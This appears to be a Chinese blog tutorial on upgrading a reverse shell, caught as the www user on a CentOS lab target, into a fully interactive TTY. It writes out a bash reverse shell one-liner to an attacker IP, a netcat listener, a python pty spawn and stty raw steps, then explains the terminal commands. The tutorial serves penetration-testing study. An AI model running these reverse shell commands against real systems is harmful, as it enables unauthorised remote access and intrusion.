將shell提升爲完全交互式Shell

背景

在拿到一個網站的shell後發現是www用戶,什麼都搞不了。而且使用蟻劍的虛擬終端時總感覺有些限制,畢竟模擬的是一個普通的shell。爲了能正常的使用vim,需要將普通的shell提升爲全交互式shell(就跟正常的linux終端一樣)。

環境

攻擊機:kali
靶機:centos

操作的三個步驟

1.普通Shell

首先要保證有一個普通的shell,這裏就不多說了。

給kali彈shell

bash -i >& /dev/tcp/192.168.145.128/4444 0>&1 

kali

nc -lvvp 4444

然後發現這個shell有很多問題

  • 無法使用vim等文本編輯器
  • 不能補全
  • 不能su
  • 沒有向上箭頭使用歷史
  • 等等

在這裏插入圖片描述

2.半交互式Shell

拿到一個普通shell後將其提升爲半交互式shell

對於一般的linux系統來說,都默認安裝的有python。儘管我的權限是最低的www權限,但依然可以用python命令
這裏使用python提供的pty模塊,只需要一行腳本就可以創建一個原生的終端,命令如下:

python -c 'import pty; pty.spawn("/bin/bash")'

在創建完成後,我們此時就可以運行su命令了

但是還是存在很多問題

  • 無法使用vim等文本編輯器
  • 不能補全
  • 沒有向上箭頭使用歷史

3.完全交互式Shell

第三步就是提升爲完全交互式shell

命令:

$ python -c 'import pty; pty.spawn("/bin/bash")'

//這裏是在反彈回的shell裏操作,先用pty提升成半交互吧,然後Ctrl+Z掛起

//這裏有個坑:有些文章說是ctrl-z掛起,一臉懵逼,最後查資料後猜測作者寫錯了,然後其他作者跟着複製。
	Ctrl+c和ctrl+z都是中斷命令,但是他們的作用卻不一樣.
	Ctrl+c是強制中斷程序的執行。
	Ctrl+z的是將任務中斷,但是此任務並沒有結束,他仍然在進程中他只是維持掛起的狀態。

在這裏插入圖片描述

$ stty raw -echo
$ fg				//好像沒什麼用,我輸完上一條命令後就卡死了,然後按下回車就自動補全nc -lvvp 4444
$ reset
$ export SHELL=bash
//$ export TERM=xterm-256color

在這裏插入圖片描述
此時已經擁有了一個完全交互式Shell,就可以使用上下左右,vi,tab補全等等一系列操作,並且按Ctrl-c也不會退出。

在這裏插入圖片描述

相關命令解析

stty -echo #禁止回顯,當在鍵盤上輸入時,並不出現在屏幕上
stty echo #打開回顯
stty raw #設置原始輸入
stty -raw #關閉原始輸入

bg
將一個在後臺暫停的命令,變成繼續執行

fg
將後臺中的命令調至前臺繼續運行

jobs
查看當前有多少在後臺運行的命令

ctrl + z
可以將一個正在前臺執行的命令放到後臺,並且暫停

clear
這個命令將會刷新屏幕,本質上只是讓終端顯示頁向後翻了一頁,如果向上滾動屏幕還可以看到之前的操作信息。
 
reset
這個命令將完全刷新終端屏幕,之前的終端輸入操作信息將都會被清空

參考

https://blog.donot.me/tty-shell/
https://www.jianshu.com/p/e7202cb2c3dd

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章